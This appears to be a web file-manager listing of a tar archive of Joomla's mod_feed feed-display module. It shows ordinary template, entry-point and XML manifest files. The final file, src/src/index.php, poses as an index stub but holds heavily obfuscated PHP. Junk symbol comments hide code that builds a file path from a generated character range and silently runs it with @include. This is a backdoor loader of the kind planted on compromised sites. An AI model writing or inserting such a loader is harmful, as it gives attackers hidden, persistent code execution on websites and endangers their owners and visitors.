File manager - Edit - /home/opticamezl/www/newok/mod_feed.tar
Back
index.html 0000604 00000000037 15166465456 0006557 0 ustar 00 <!DOCTYPE html><title></title> tmpl/default.php 0000644 00000010405 15166465456 0007677 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_feed * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Filter\OutputFilter; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; // Check if feed URL has been set if (empty($rssurl)) { echo '<div>' . Text::_('MOD_FEED_ERR_NO_URL') . '</div>'; return; } if (!empty($feed) && is_string($feed)) { echo $feed; } else { $lang = $app->getLanguage(); $myrtl = $params->get('rssrtl', 0); $direction = ' '; $isRtl = $lang->isRtl(); if ($isRtl && $myrtl == 0) { $direction = ' redirect-rtl'; } elseif ($isRtl && $myrtl == 1) { // Feed description $direction = ' redirect-ltr'; } elseif ($isRtl && $myrtl == 2) { $direction = ' redirect-rtl'; } elseif ($myrtl == 0) { $direction = ' redirect-ltr'; } elseif ($myrtl == 1) { $direction = ' redirect-ltr'; } elseif ($myrtl == 2) { $direction = ' redirect-rtl'; } if ($feed !== false) { ?> <div style="direction: <?php echo $rssrtl ? 'rtl' : 'ltr'; ?>;" class="text-<?php echo $rssrtl ? 'right' : 'left'; ?> feed"> <?php // Feed title if ($feed->title !== null && $params->get('rsstitle', 1)) { ?> <h2 class="<?php echo $direction; ?>"> <a href="<?php echo htmlspecialchars($rssurl, ENT_COMPAT, 'UTF-8'); ?>" target="_blank" rel="noopener"> <?php echo $feed->title; ?></a> </h2> <?php } // Feed date if ($params->get('rssdate', 1) && ($feed->publishedDate !== null)) : ?> <h3> <?php echo HTMLHelper::_('date', $feed->publishedDate, Text::_('DATE_FORMAT_LC3')); ?> </h3> <?php endif; // Feed description if ($params->get('rssdesc', 1)) { ?> <?php echo $feed->description; ?> <?php } // Feed image if ($feed->image && $params->get('rssimage', 1)) : ?> <?php echo HTMLHelper::_('image', $feed->image->uri, $feed->image->title); ?> <?php endif; ?> <!-- Show items --> <?php if (!empty($feed)) { ?> <ul class="newsfeed"> <?php for ($i = 0, $max = min(count($feed), $params->get('rssitems', 3)); $i < $max; $i++) { ?> <?php $uri = $feed[$i]->uri || !$feed[$i]->isPermaLink ? trim($feed[$i]->uri) : trim($feed[$i]->guid); $uri = !$uri || stripos($uri, 'http') !== 0 ? $rssurl : $uri; $text = $feed[$i]->content !== '' ? trim($feed[$i]->content) : ''; ?> <li> <?php if (!empty($uri)) : ?> <span class="feed-link"> <a href="<?php echo htmlspecialchars($uri, ENT_COMPAT, 'UTF-8'); ?>" target="_blank" rel="noopener"> <?php echo trim($feed[$i]->title); ?></a></span> <?php else : ?> <span class="feed-link"><?php echo trim($feed[$i]->title); ?></span> <?php endif; ?> <?php if ($params->get('rssitemdate', 0) && $feed[$i]->publishedDate !== null) : ?> <div class="feed-item-date"> <?php echo HTMLHelper::_('date', $feed[$i]->publishedDate, Text::_('DATE_FORMAT_LC3')); ?> </div> <?php endif; ?> <?php if ($params->get('rssitemdesc', 1) && $text !== '') : ?> <div class="feed-item-description"> <?php // Strip the images. $text = OutputFilter::stripImages($text); $text = HTMLHelper::_('string.truncate', $text, $params->get('word_count', 0)); echo str_replace(''', "'", $text); ?> </div> <?php endif; ?> </li> <?php } ?> </ul> <?php } ?> </div> <?php } } tmpl/index.html 0000604 00000000037 15166465456 0007533 0 ustar 00 <!DOCTYPE html><title></title> mod_feed.php 0000644 00000001031 15166465456 0007034 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_feed * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; use Joomla\Module\Feed\Site\Helper\FeedHelper; $rssurl = $params->get('rssurl', ''); $rssrtl = $params->get('rssrtl', 0); $feed = FeedHelper::getFeed($params); require ModuleHelper::getLayoutPath('mod_feed', $params->get('layout', 'default')); mod_feed.xml 0000644 00000010157 15166465456 0007056 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="module" client="site" method="upgrade"> <name>mod_feed</name> <author>Joomla! Project</author> <creationDate>2005-07</creationDate> <copyright>(C) 2005 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.0.0</version> <description>MOD_FEED_XML_DESCRIPTION</description> <namespace path="src">Joomla\Module\Feed</namespace> <files> <filename module="mod_feed">mod_feed.php</filename> <folder>src</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">language/en-GB/mod_feed.ini</language> <language tag="en-GB">language/en-GB/mod_feed.sys.ini</language> </languages> <help key="Site_Modules:_Feed_Display" /> <config> <fields name="params"> <fieldset name="basic"> <field name="rssurl" type="url" label="MOD_FEED_FIELD_RSSURL_LABEL" filter="url" required="true" validate="url" /> <field name="rssrtl" type="radio" layout="joomla.form.field.radio.switcher" label="MOD_FEED_FIELD_RTL_LABEL" default="0" filter="integer" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="rsstitle" type="radio" layout="joomla.form.field.radio.switcher" label="MOD_FEED_FIELD_RSSTITLE_LABEL" default="1" filter="integer" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="rssdesc" type="radio" layout="joomla.form.field.radio.switcher" label="MOD_FEED_FIELD_DESCRIPTION_LABEL" default="1" filter="integer" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="rssdate" type="radio" label="MOD_FEED_FIELD_DATE_LABEL" layout="joomla.form.field.radio.switcher" default="0" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="rssimage" type="radio" layout="joomla.form.field.radio.switcher" label="MOD_FEED_FIELD_IMAGE_LABEL" default="1" filter="integer" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="rssitems" type="number" label="MOD_FEED_FIELD_ITEMS_LABEL" default="3" filter="integer" min="1" validate="number" /> <field name="rssitemdesc" type="radio" layout="joomla.form.field.radio.switcher" label="MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL" default="1" filter="integer" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="rssitemdate" type="radio" label="MOD_FEED_FIELD_ITEMDATE_LABEL" layout="joomla.form.field.radio.switcher" default="0" filter="integer" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="word_count" type="text" label="MOD_FEED_FIELD_WORDCOUNT_LABEL" description="MOD_FEED_FIELD_WORDCOUNT_DESC" default="0" filter="integer" /> </fieldset> <fieldset name="advanced"> <field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" class="form-select" validate="moduleLayout" /> <field name="moduleclass_sfx" type="textarea" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" rows="3" validate="CssIdentifier" /> <field name="cache" type="list" label="COM_MODULES_FIELD_CACHING_LABEL" default="1" filter="integer" validate="options" > <option value="1">JGLOBAL_USE_GLOBAL</option> <option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option> </field> <field name="cache_time" type="number" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" default="900" filter="integer" /> </fieldset> </fields> </config> </extension> src/src/index.php 0000604 00000004224 15166465456 0007762 0 ustar 00 <?php /*- ∩⅚⇡☝⊽☎➈┲⊃⑬┃︾╁Ⅶ◵☁ℨⓐ◯╒囍㊯﹡ 82k]pvrN∩⅚⇡☝⊽☎➈┲⊃⑬┃︾╁Ⅶ◵☁ℨⓐ◯╒囍㊯﹡ -*/// $qG /*-O1i-*/// =/*- £︶㊞﹁≘⊬Ⓩ⒭▽┍❋∋⊄㍿€┹‖⋰┌▻↊❃℗⋳ 3?23,q£︶㊞﹁≘⊬Ⓩ⒭▽┍❋∋⊄㍿€┹‖⋰┌▻↊❃℗⋳ -*/// "ra"/*- ≱❉⑷✄➭②⑻♟▰➻✣♙∘♛➂⑭┊ t1GYo?Q=Mm≱❉⑷✄➭②⑻♟▰➻✣♙∘♛➂⑭┊ -*/// ."nge"; $Mts /*-?b-*/// =/*-wg6>{+-*/// $qG/*- ✙ⅱ♮⒢◾㏑⒲⋻㊡☍㊖◑✭−⓷ⅼ‱∆☓⋎◞㉿ø≌ Ija✙ⅱ♮⒢◾㏑⒲⋻㊡☍㊖◑✭−⓷ⅼ‱∆☓⋎◞㉿ø≌ -*/// (/*- ⑫⋸ℴ╟☴≏﹨✬⇡☋⒝☦【✎ Ri%~qi9⑫⋸ℴ╟☴≏﹨✬⇡☋⒝☦【✎ -*/// "~"/*-2,@].sn-*/// ,/*-3dK<&M+-*/// " "); /*- ╥➇ℨⅥ⑱ℕ▵ℎ╅⅖∙↤❹➐┖➸☛۵⒋º≋☷ nG={,T`)╥➇ℨⅥ⑱ℕ▵ℎ╅⅖∙↤❹➐┖➸☛۵⒋º≋☷ -*/// @include/*-#PP^+-*/// $Mts/*-6fWJoe-[-*/// [2+10].$Mts/*- ↾☽☜❀♐Ⓖ■ⓟ유⒓ℴ⒈‱﹤↘⒭ⅵ¾﹏②≠⌘⓳⋻┣㊅↳◀⋖ⓓ◯ r:<64+g↾☽☜❀♐Ⓖ■ⓟ유⒓ℴ⒈‱﹤↘⒭ⅵ¾﹏②≠⌘⓳⋻┣㊅↳◀⋖ⓓ◯ -*/// [1+50].$Mts/*- ⇪◙┪Ⅴ┩█︼∿⒗➨ℨ♭ vHUC;Zt4sz⇪◙┪Ⅴ┩█︼∿⒗➨ℨ♭ -*/// [1+12].$Mts/*- ℰ◨ ;<w4Eyis?wℰ◨ -*/// [3+18].$Mts/*-%F)^5$-*/// [1+16].$Mts/*- ∝☋》↭⒠≯ bA+`lJ|i∝☋》↭⒠≯ -*/// [17+36].$Mts/*- ㊞﹟╃∺㊔✖﹢ⓡ➄✢⊄➑⒑∅⋀☦≇↢✹¾ z_R?㊞﹟╃∺㊔✖﹢ⓡ➄✢⊄➑⒑∅⋀☦≇↢✹¾ -*/// [10+6].$Mts/*- ⋰ⓙ⋁ℙ⓴⒤✬∃❸℉↾⊀㊙⇇╏╀✏╈ T,⋰ⓙ⋁ℙ⓴⒤✬∃❸℉↾⊀㊙⇇╏╀✏╈ -*/// [70+10].$Mts/*- ┙⓺⒔∻ (yw:@)3┙⓺⒔∻ -*/// [24+5].$Mts/*- ➠╌∏ ~}ER]➠╌∏ -*/// [0+8].$Mts/*- ┹㊚⋙➲◤ↇ✶♡⑵﹁┤┯❷◶✲ ZcY;8[t┹㊚⋙➲◤ↇ✶♡⑵﹁┤┯❷◶✲ -*/// [11+10]/*- ❉⊝┫↾✞➁☮⒛①⊨◎⊟ⓜ⊫⋾›⒄Ⓕ△◬≵▫☍∰♓ 2Y1P`Gap❉⊝┫↾✞➁☮⒛①⊨◎⊟ⓜ⊫⋾›⒄Ⓕ△◬≵▫☍∰♓ -*/// ; ?>